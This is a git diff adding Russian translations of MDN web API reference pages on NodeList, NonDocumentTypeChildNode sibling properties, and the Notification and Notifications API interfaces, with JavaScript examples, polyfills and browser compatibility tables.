+console.log(child_nodes.length); // выведет "3"
+
+ +

В других случаях NodeList является статической коллекцией. Это означает, что любые изменения в DOM не отражаются на его содержании. К примеру, {{domxref("document.querySelectorAll")}} возвращает статический NodeList.

+ +

Данное деление необходимо иметь в виду при выборе способа обхода элементов NodeList, а также сохранении длины списка в переменную.

+ +

Отличия NodeList от Array

+ +

NodeList используется подобно массивам, и потому может возникнуть закономерное желание использовать в нём методы, предоставляемые Array.prototype. Однако NodeList не реализует методы, подобные таковым у Array.

+ +

В JavaScript существует механизм наследования, основанный на прототипах, применяемый как к встроенным («native») (таким как Array), так и «host»-объектам, предоставляемым средой исполнения (таким как NodeList) . Экземпляры класса Array получают свои методы (к примеру, forEach и map) из следующей цепочки наследования:

+ +

myArray --> Array.prototype --> Object.prototype --> null (Цепочка прототипов объекта может быть получена рекурсивным вызовом Object.getPrototypeOf)

+ +

forEach, map, ровно как и все остальные свойства принадлежат Array.prototype.

+ +

Цепочка же прототипов NodeList выглядит следующим образом:

+ +

myNodeList --> NodeList.prototype --> Object.prototype --> null

+ +

NodeList.prototype содержит метод item, но никак не остальные методы Array.prototype, поэтому они и не могут быть использованы с NodeLists.

+ +

Обходные пути

+ +

Один из способов решения данной проблемы — это копирование методов из Array.prototype в NodeList.prototype. Однако необходимо отдавать себе отчёт в том, что расширение объектов DOM опасно, особенно в старых версиях Internet Explorer (6, 7, 8).

+ +
var arrayMethods = Object.getOwnPropertyNames( Array.prototype );
+
+arrayMethods.forEach( attachArrayMethodsToNodeList );
+
+function attachArrayMethodsToNodeList(methodName)
+{
+  if(methodName !== "length") {
+    NodeList.prototype[methodName] = Array.prototype[methodName];
+  }
+};
+
+var divs = document.getElementsByTagName( 'div' );
+var firstDiv = divs[ 0 ];
+
+firstDiv.childNodes.forEach(function( divChild ){
+  divChild.parentNode.style.color = '#0F0';
+});
+ +

Другой подход — расширение непосредственно объектов DOM:

+ +
var forEach = Array.prototype.forEach;
+
+var divs = document.getElementsByTagName( 'div' );
+var firstDiv = divs[ 0 ];
+
+forEach.call(firstDiv.childNodes, function( divChild ){
+  divChild.parentNode.style.color = '#0F0';
+});
+
+ +
+

Стоит отметить, что передача объектов среды (такого как NodeList) через this native-методу (такому как forEach) гарантированно работает не во всех браузерах и точно не работает в некоторых.

+
+ +

Пример

+ +

Элементы в NodeList, можно обработать следующим образом:

+ +
for (var i = 0; i < myNodeList.length; ++i) {
+  var item = myNodeList[i];  // Вызов myNodeList.item(i) необязателен в JavaScript
+}
+
+ +

Не следует использовать конструкции for...in или for each...in для перечисления элементов списка. Эти способы также перечислят и свойства length и item, что приведёт к логическим ошибкам в случае, если скрипт ожидает  только объекты {{domxref("node")}}. Также for..in может перечислять свойства в любом порядке.

+ +

Циклы for...of корректно перечисляют все объекты внутри NodeList в браузерах, в которых поддерживается for...of (например, Firefox 13 или выше):

+ +
var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}
+ +

Конвертирование NodeList в Array

+ +

Иногда удобнее работать с содержимым NodeList, используя методы Array. Ниже приведена техника преобразования NodeList к Array:

+ +
var div_list = document.querySelectorAll('div'); // returns NodeList
+var div_array = Array.prototype.slice.call(div_list); // преобразует NodeList в Array
+ +

Спецификация

+ + diff --git a/files/ru/web/api/nondocumenttypechildnode/index.html b/files/ru/web/api/nondocumenttypechildnode/index.html new file mode 100644 index 0000000000..20f5c6ea40 --- /dev/null +++ b/files/ru/web/api/nondocumenttypechildnode/index.html @@ -0,0 +1,132 @@ +--- +title: NonDocumentTypeChildNode +slug: Web/API/NonDocumentTypeChildNode +tags: + - API + - DOM + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/NonDocumentTypeChildNode +--- +
{{APIRef("DOM")}}
+ +

The NonDocumentTypeChildNode interface contains methods that are particular to {{domxref("Node")}} objects that can have a parent, but not suitable for {{domxref("DocumentType")}}.

+ +

NonDocumentTypeChildNode is a raw interface and no object of this type can be created; it is implemented by {{domxref("Element")}}, and {{domxref("CharacterData")}} objects.

+ +

Properties

+ +

There is no inherited property.

+ +
+
{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}
+
Returns the {{domxref("Element")}} immediately prior to this node in its parent's children list, or null if there is no {{domxref("Element")}} in the list prior to this node.
+
{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}
+
Returns the {{domxref("Element")}} immediately following this node in its parent's children list, or null if there is no {{domxref("Element")}} in the list following this node.
+
+ +

Methods

+ +

There is neither inherited, nor specific method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-childnode', 'NonDocumentTypeChildNode')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, and NonDocumentTypeChildNode. The previousElementSibling and nextElementSibling are now defined on the latter.
+ The {{domxref("CharacterData")}} and {{domxref("Element")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (on {{domxref("Element")}})1.0{{CompatGeckoDesktop("1.9.1")}}9.010.04.0
Support (on {{domxref("CharacterData")}})1.0{{CompatGeckoDesktop("25.0")}} [1]9.010.04.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (on {{domxref("Element")}}){{ CompatVersionUnknown() }}{{CompatGeckoDesktop("1.9.1")}}{{ CompatVersionUnknown() }}10.0{{ CompatVersionUnknown() }}
Support (on {{domxref("CharacterData")}}){{ CompatVersionUnknown() }}{{CompatGeckoDesktop("25.0")}}{{ CompatVersionUnknown() }}10.0{{ CompatVersionUnknown() }}
+
+ +

[1] Firefox 25 also added the two properties defined here on {{domxref("DocumentType")}}, this was removed in Firefox 28 due to compatibility problems, and led to the creation of this new pure interface.

+ +

See also

+ + diff --git a/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html b/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html new file mode 100644 index 0000000000..84c40445d8 --- /dev/null +++ b/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html @@ -0,0 +1,173 @@ +--- +title: NonDocumentTypeChildNode.nextElementSibling +slug: Web/API/NonDocumentTypeChildNode/NonDocumentTypeChildNode.nextElementSibling +translation_of: Web/API/NonDocumentTypeChildNode/nextElementSibling +--- +
{{APIRef("DOM")}}
+ +

NonDocumentTypeChildNode.nextElementSibling свойство только для чтения, возвращающее последующий элемент перед текущим, или null, если элемент является последним в своём родительском узле.

+ +

Синтаксис

+ +
var nextNode = elementNodeReference.nextElementSibling;
+ +

Пример

+ +
<div id="div-01">Это div-01</div>
+<div id="div-02">Это div-02</div>
+
+<script type="text/javascript">
+  var el = document.getElementById('div-01').nextElementSibling;
+  console.log('Сосед div-01:');
+  while (el) {
+    console.log(el.nodeName);
+    el = el.nextElementSibling;
+  }
+</script>
+
+ +

Этот пример выведет в консоль следующее:

+ +
Сосед div-01:
+DIV
+SCRIPT
+ +

Полифилл для IE8

+ +

Данное свойство не пожддерживается до IE9. Используйте следующий полифилл, чтобы обойти этот недостаток:

+ +
// Источник: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if (!('nextElementSibling' in document.documentElement)) {
+    Object.defineProperty(Element.prototype, 'nextElementSibling', {
+        get: function() {
+            var e = this.nextSibling;
+            while (e && 1 !== e.nodeType) {
+                e = e.nextSibling;
+            }
+            return e;
+        }
+    });
+}
+ +

Полифилл для IE9+ и Safari

+ +
// Источник: https://github.com/jserz/js_piece/blob/master/DOM/NonDocumentTypeChildNode/nextElementSibling/nextElementSibling.md
+(function(arr) {
+    arr.forEach(function(item) {
+        if (item.hasOwnProperty('nextElementSibling')) {
+            return;
+        }
+        Object.defineProperty(item, 'nextElementSibling', {
+            configurable: true,
+            enumerable: true,
+            get: function() {
+                var el = this;
+                while (el = el.nextSibling) {
+                    if (el.nodeType === 1) {
+                        return el;
+                    }
+                }
+                return null;
+            },
+            set: undefined
+        });
+    });
+})([Element.prototype, CharacterData.prototype]);
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-nondocumenttypechildnode-nextelementsibling', 'ChildNodenextElementSibling')}}{{Spec2('DOM WHATWG')}}Split the ElementTraversal interface in {{domxref("ChildNode")}}, {{domxref("ParentNode")}}, and {{domxref("NonDocumentTypeChildNode")}}. This method is now defined on the former.
+ The {{domxref("Element")}} and {{domxref("CharacterData")}} interfaces implemented the new interface.
{{SpecName('Element Traversal', '#attribute-nextElementSibling', 'ElementTraversal.nextElementSibling')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
БраузерыChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка ({{domxref("Element")}})4{{CompatGeckoDesktop("1.9.1")}}99.84
Поддержка {{domxref("CharacterData")}}29.0{{CompatGeckoDesktop("25")}} [1]{{CompatNo}}16.0{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
БраузерыAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка ( {{domxref("Element")}}){{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatVersionUnknown}}9.8{{CompatVersionUnknown}}
Поддержка {{domxref("CharacterData")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +

[1] Firefox 25 также добавил это свойство в {{domxref("DocumentType")}}, но оно было удалено в Firefox 28, из-за проблем совместимости.

+ +

См. также

+ + diff --git a/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html b/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html new file mode 100644 index 0000000000..2cc659ef51 --- /dev/null +++ b/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html @@ -0,0 +1,185 @@ +--- +title: NonDocumentTypeChildNode.previousElementSibling +slug: Web/API/NonDocumentTypeChildNode/previousElementSibling +translation_of: Web/API/NonDocumentTypeChildNode/previousElementSibling +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство NonDocumentTypeChildNode.previousElementSibling только для чтения возвращает  {{domxref("Element")}} элемент стоящий перед применяемым, из списка дочерних элементов родителя или возвращает null, если таковых не имеется.

+ +

Синтаксис

+ +
prevNode = elementNodeReference.previousElementSibling;
+
+ +

Примеры

+ +
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+<li>This is a list item</li>
+<li>This is another list item</li>
+<div id="div-03">Here is div-03</div>
+
+<script>
+  var el = document.getElementById('div-03').previousElementSibling;
+  document.write('<p>Siblings of div-03</p><ol>');
+  while (el) {
+    document.write('<li>' + el.nodeName + '</li>');
+    el = el.previousElementSibling;
+  }
+  document.write('</ol>');
+</script>
+
+ +

Этот пример выводит следующие элементы на страницу при загрузке:

+ +
Соседи div-03
+
+   1. LI
+   2. LI
+   3. DIV
+   4. DIV
+
+ +

Полифилл для Internet Explorer 8

+ +

Это свойство поддерживается начиная с версии IE9, поэтому следующий фрагмент поддерживается, и может использоваться для IE8:

+ +
// Ресурс: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("previousElementSibling" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "previousElementSibling", {
+        get: function(){
+            var e = this.previousSibling;
+            while(e && 1 !== e.nodeType)
+                e = e.previousSibling;
+            return e;
+        }
+    });
+}
+ +

Полифилл для  Internet Explorer 9+ и Safari

+ +
// Ресурс: https://github.com/jserz/js_piece/blob/master/DOM/NonDocumentTypeChildNode/previousElementSibling/previousElementSibling.md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('previousElementSibling')) {
+      return;
+    }
+    Object.defineProperty(item, 'previousElementSibling', {
+      configurable: true,
+      enumerable: true,
+      get: function () {
+        var el = this;
+        while (el = el.previousSibling) {
+          if (el.nodeType === 1) {
+            return el;
+          }
+        }
+        return null;
+      },
+      set: undefined
+    });
+  });
+})([Element.prototype, CharacterData.prototype]);
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('DOM WHATWG', '#dom-nondocumenttypechildnode-previouselementsibling', 'NonDocumentTypeChildNode.previousElementSibling')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ChildNode")}}, {{domxref("ParentNode")}}, and {{domxref("NonDocumentTypeChildNode")}}. This method is now defined on the former.
+ The {{domxref("Element")}} and {{domxref("CharacterData")}} interfaces implemented the new interface.
{{SpecName('Element Traversal', '#attribute-previousElementSibling', 'ElementTraversal.previousElementSibling')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункционалChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (on {{domxref("Element")}})4{{CompatGeckoDesktop("1.9.1")}}99.84
Support on {{domxref("CharacterData")}}29.0{{CompatGeckoDesktop("25")}} [1]{{CompatNo}}16.0{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункционалAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (on {{domxref("Element")}}){{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatVersionUnknown}}9.8{{CompatVersionUnknown}}
Support on {{domxref("CharacterData")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +

[1] Firefox 25 так же добавлено это свойство {{domxref("DocumentType")}}, но было удалено в Firefox 28 из-за проблем с совместимостью.

+ +

Смотрите так же

+ + diff --git a/files/ru/web/api/notification/index.html b/files/ru/web/api/notification/index.html new file mode 100644 index 0000000000..ceeee1905f --- /dev/null +++ b/files/ru/web/api/notification/index.html @@ -0,0 +1,378 @@ +--- +title: Уведомление +slug: Web/API/notification +translation_of: Web/API/Notification +--- +

 

+ +

{{APIRef("Web Notifications")}}

+ +

Интерфейс Notification из Notifications API используется для настройки и отображения уведомлений на рабочий стол пользователя.

+ +

{{AvailableInWorkers}}

+ +

Конструктор

+ +
+
{{domxref("Notification.Notification", "Notification()")}}
+
Создает новый экземпляр объекта Notification.
+
+ +

Свойства

+ +

Собственные свойства

+ +

Следующие свойства доступны только для самого объекта Notification.

+ +
+
{{domxref("Notification.permission")}} {{readonlyinline}}
+
Строка, показывающая текущие права доступа для отображения уведомлений. Возможные значения:
+
+ + + +

Свойства экземпляра

+ +

Следующие свойства доступны только для экземпляров объекта Notification.

+ +
+
{{domxref("Notification.actions")}} {{readonlyinline}}
+
Массив действий уведомления, указывается в опциях как параметр конструктора.
+
{{domxref("Notification.badge")}} {{readonlyinline}}
+
URL изображения, используемого для отображения уведомления в случае, если недостаточно места для самого уведомления.
+
{{domxref("Notification.body")}} {{readonlyinline}}
+
Основное тело (текст) уведомления, указывается в опциях как параметр конструктора.
+
{{domxref("Notification.data")}} {{readonlyinline}}
+
Возвращает структурированную копию содержания уведомления.
+
{{domxref("Notification.dir")}} {{readonlyinline}}
+
Направление текста уведомления, указывается в опциях как параметр конструктора.
+
{{domxref("Notification.lang")}} {{readonlyinline}}
+
Код языка уведомления, указывается в опциях как параметр конструктора.
+
{{domxref("Notification.tag")}} {{readonlyinline}}
+
Инденцификатор (ID) уведомления, если есть, указывается в опциях как параметр конструктора.
+
{{domxref("Notification.icon")}} {{readonlyinline}}
+
URL изображения, используемого в качестве иконки уведомления, указывается в опциях как параметр конструктора.
+
{{domxref("Notification.image")}} {{readonlyinline}}
+
URL изображения, которое должно быть изображено в уведомлении, указывается в опциях как параметр конструктора.
+
{{domxref("Notification.renotify")}} {{readonlyinline}}
+
Определяет, должен ли пользователь снова быть уведомлен, если новое уведомление заменяет предыдущее.
+
+ +

 

+ +
+
{{domxref("Notification.requireInteraction")}} {{readonlyinline}}
+
Булево значение, отражающее, останется ли уведомление активным до тех пор, пока пользователь вручную не кликнет или не закроет его, в противоположность автоматическому закрытию со временем. 
+
{{domxref("Notification.silent")}} {{readonlyinline}}
+
Указывает, должно ли уведомление не сопровождаться звуковым или вибро сигналом, независимо от настроек устройства.
+
+ +

 

+ +
+
{{domxref("Notification.timestamp")}} {{readonlyinline}}
+
Указывает время, в которое уведомление создано, либо применимо (в прошлом, настоящем или будущем).
+
{{domxref("Notification.title")}} {{readonlyinline}}
+
Заголовок уведомления, указывается в опциях как параметр конструктора.
+
{{domxref("Notification.vibrate")}} {{readonlyinline}}
+
Задает шаблон вибрации для устройств с вибро.
+
+ +

Не поддерживаемые свойства

+ +

Следующие свойства указаны в наиболее актуальной спецификации, но пока что не поддерживаются браузерами. Рекомендуем регулярно проверять актуальность этой информации, и если их статус изменится, пожалуйста, просим оповестить нас.

+ +
+
+

{{domxref("Notification.noscreen")}} {{readonlyinline}}

+
+
Определяет, должно ли срабатывание уведомления включать дисплей устройства или нет.
+
{{domxref("Notification.sticky")}} {{readonlyinline}}
+
Определяет, должно ли уведомление быть "липким", то есть не легко закрываемым.
+
+ +

Обработчики событий

+ +
+
{{domxref("Notification.onclick")}}
+
Обработчик события {{event("click")}}. Срабатывает каждый раз, когда пользователь кликает по уведомлению.
+
{{domxref("Notification.onerror")}}
+
Обработчик события {{event("error")}}. Срабатывает каждый раз, когда уведомление сталкивается с ошибкой. 
+
+ +

Устаревшие обработчики событий

+ +

Следующие обработчики событий все еще поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.

+ +
+
{{domxref("Notification.onclose")}}
+
Обработчик события {{event("close")}}. Срабатывает при закрытии уведомления пользователем.
+
{{domxref("Notification.onshow")}}
+
Обработчик события {{event("show")}}. Срабатывает при отображении уведомления.
+
{{domxref("Notification.sound")}} {{readonlyinline}}
+
Определяет звуковой файл для воспроизведения при уведомлении, по умолчанию установлен системный звук.
+
+ +

Методы

+ +

Собственные методы

+ +

Следующие методы доступны только для самого объекта Notification.

+ +
+
{{domxref("Notification.requestPermission()")}}
+
Запрашивает разрешение у пользователя показывать уведомления.
+
+ +

Методы экземпляра

+ +

Следующие методы доступны только для экземпляров объекта Notification, либо через его прототип. Объект Notification также наследует методы интерфейса {{domxref("EventTarget")}}.

+ +
+
{{domxref("Notification.close()")}}
+
Программно закрывает уведомление.
+
+ +

Пример

+ +

Базовый HTML:

+ +
<button onclick="notifyMe()">Notify me!</button>
+ +

Отправить уведомление можно следующим образом — ниже представлен довольно подробный и полный набор кода, который вы могли бы использовать для того, чтобы сначала проверить поддержку уведомлений, затем проверить, позволено ли данному источнику отправлять уведомления, и наконец, запросив разрешение, если требуется, отправить уведомление.

+ +
function notifyMe() {
+  // Проверка поддержки браузером уведомлений
+  if (!("Notification" in window)) {
+    alert("This browser does not support desktop notification");
+  }
+
+  // Проверка разрешения на отправку уведомлений
+  else if (Notification.permission === "granted") {
+    // Если разрешено, то создаем уведомление
+    var notification = new Notification("Hi there!");
+  }
+
+  // В противном случае, запрашиваем разрешение
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // Если пользователь разрешил, то создаем уведомление
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // В конечном счете, если пользователь отказался от получения
+  // уведомлений, то стоит уважать его выбор и не беспокоить его
+  // по этому поводу.
+}
+ +

{{EmbedLiveSample('%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80', '100%', 30)}}

+ +

В большинстве случаев вам не надо быть столь многословными. Например в нашем демо Emogotchi (исходный код), мы просто запускаем {{domxref("Notification.requestPermission")}} несмотря ни на что, чтобы быть уверенными, что мы сможем получить разрешение на отправку уведомлений (тут используется синтаксис новейшего promise-based метода):

+ +
Notification.requestPermission().then(function(result) {
+  console.log(result);
+});
+ +

Затем мы запускаем простую функцию spawnNotification(), когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создает необходимый объект параметров options и запускает уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}.

+ +
function spawnNotification(body, icon, title) {
+  var options = {
+      body: body,
+      icon: icon
+  };
+  var n = new Notification(title, options);
+}
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Уровень жизни 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка5{{property_prefix("webkit")}}[1]
+ 22		4.0 {{property_prefix("moz")}}[2]
+ 22		{{CompatNo}}256[3]
icon5{{property_prefix("webkit")}}[1]
+ 22		4.0 {{property_prefix("moz")}}[2]
+ 22		{{CompatNo}}25{{CompatNo}}
Available in workers{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
silent{{CompatChrome(43.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
noscreen, renotify, sound, sticky{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatUnknown}} +

{{CompatVersionUnknown}}

+ 		4.0{{property_prefix("moz")}}[2]
+ 22		1.0.1{{property_prefix("moz")}}[2]
+ 1.2		{{CompatNo}}{{CompatUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
icon{{CompatUnknown}}{{CompatVersionUnknown}}4.0{{property_prefix("moz")}}[2]
+ 22		1.0.1{{property_prefix("moz")}}[2]
+ 1.2		{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
silent{{CompatNo}}{{CompatChrome(43.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(43.0)}}
noscreen, renotify, sound, sticky{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ +

[1] Before Chrome 22, the support for notification followed an old prefixed version of the specification and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.

+ +

До Chrome 32, {{domxref("Notification.permission")}} не поддерживается.

+ +

До Chrome 42, дополнения service worker не поддерживаются.

+ +

[2] Prior to Firefox 22 (Firefox OS <1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its createNotification method.

+ +

Prior to Firefox 22 (Firefox OS <1.2), the Notification was displayed when calling the show method and supported only the click and close events.

+ +

Nick Desaulniers написал Notification shim, чтобы покрыть как новые так и старые реализации.

+ +

One particular Firefox OS issue is that you can pass a path to an icon to use in the notification, but if the app is packaged you cannot use a relative path like /my_icon.png. You also can't use window.location.origin + "/my_icon.png" because window.location.origin is null in packaged apps. The manifest origin field fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS <1.1 is to pass an absolute URL to an externally hosted version of the icon. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.

+ +

When using notifications  in a Firefox OS app, be sure to add the desktop-notification permission in your manifest file. Notifications can be used at any permission level, hosted or above: "permissions": { "desktop-notification": {} }

+ +

[3] Safari начали поддержку уведомлений с Safari 6, но только на Mac OSX 10.8+ (Mountain Lion).

+ +

Смотрите также

+ + + +

 

+ + diff --git a/files/ru/web/api/notifications_api/index.html b/files/ru/web/api/notifications_api/index.html new file mode 100644 index 0000000000..e7963229e2 --- /dev/null +++ b/files/ru/web/api/notifications_api/index.html @@ -0,0 +1,191 @@ +--- +title: Notifications API +slug: Web/API/Notifications_API +translation_of: Web/API/Notifications_API +--- +

{{DefaultAPISidebar("Web Notifications")}}

+ +

Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешел к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.

+ +

Концепция и использование

+ +

На поддерживаемых платформах, отображение системных уведомлений обычно включает две вещи. Во-первых, пользователь должен разрешить текущему источнику отображать уведомления, что, как правило, происходит, при первичной загрузке приложения или сайта, используя метод  {{domxref("Notification.requestPermission()")}}. Далее будет вызван диалог со следующим текстом:

+ +

+ +

Здесь пользователь может выбрать разрешить уведомления от источника, заблокировать их или решить позже. Как только выбор будет сделан, для текущей сессии будут установлены настройки. 

+ +
+

Заметка: Для Firefox 44, разрешения для Notifications и Push объединяются. Если было установлено разрешение для уведомлений, push так же будут разрешены .

+
+ +

Затем создается новое уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.

+ +

{{AvailableInWorkers}}

+ +

В дополнение, спецификация Notifications API определет несколько дополнений для ServiceWorker API, чтобы позволить им отправлять уведомления.

+ +
+

Заметка: Чтобы найти больше об использовани уведомлений в вашем приложении, читайте Использование Notifications API.

+
+ +

Интерфейс уведомлений

+ +
+
{{domxref("Notification")}}
+
Определяет объект уведомления.
+
+ +

Дополнение для Service worker

+ +
+
{{domxref("ServiceWorkerRegistration")}}
+
Включает {{domxref("ServiceWorkerRegistration.showNotification()")}} и {{domxref("ServiceWorkerRegistration.getNotifications()")}} методы для контролирования отображения уведомлений.
+
{{domxref("ServiceWorkerGlobalScope")}}
+
Включает обработчик {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} для вызова встроенных функций, когда был выполнен клик на уведомлении.
+
{{domxref("NotificationEvent")}}
+
Особый тип объекта событий, осованный на {{domxref("ExtendableEvent")}}, который представляет уведомление, которое было вызвано.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{property_prefix("webkit")}}[1]
+ 22		{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}[2]
+ {{CompatGeckoDesktop("22.0")}}		{{CompatNo}}256[3]
Available in workers{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Service worker additions +

{{CompatChrome(42.0)}}

+ 		{{CompatGeckoDesktop("42.0")}}[4]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}} +

{{CompatVersionUnknown}}

+ 		{{CompatGeckoMobile(2.0)}}{{property_prefix("moz")}}[2]
+ {{CompatGeckoMobile(22.0)}}		1.0.1{{property_prefix("moz")}}[2]
+ 1.2		{{CompatNo}}{{CompatUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Service worker additions{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(42.0)}}[4]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
+
+ +

[1] Before Chrome 22, the support for notification followed an old prefixed version of the specification and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification. Before Chrome 32, {{domxref("Notification.permission")}} was not supported.

+ +

[2] Prior to Firefox 22 (Firefox OS <1.2), the instantiation of a new notification was done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its createNotification() method. In addition, the Notification was displayed when calling the show() method and supported only the click and close events (Nick Desaulniers wrote a Notification shim to cover both newer and older implementations.)

+ +

[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).

+ +

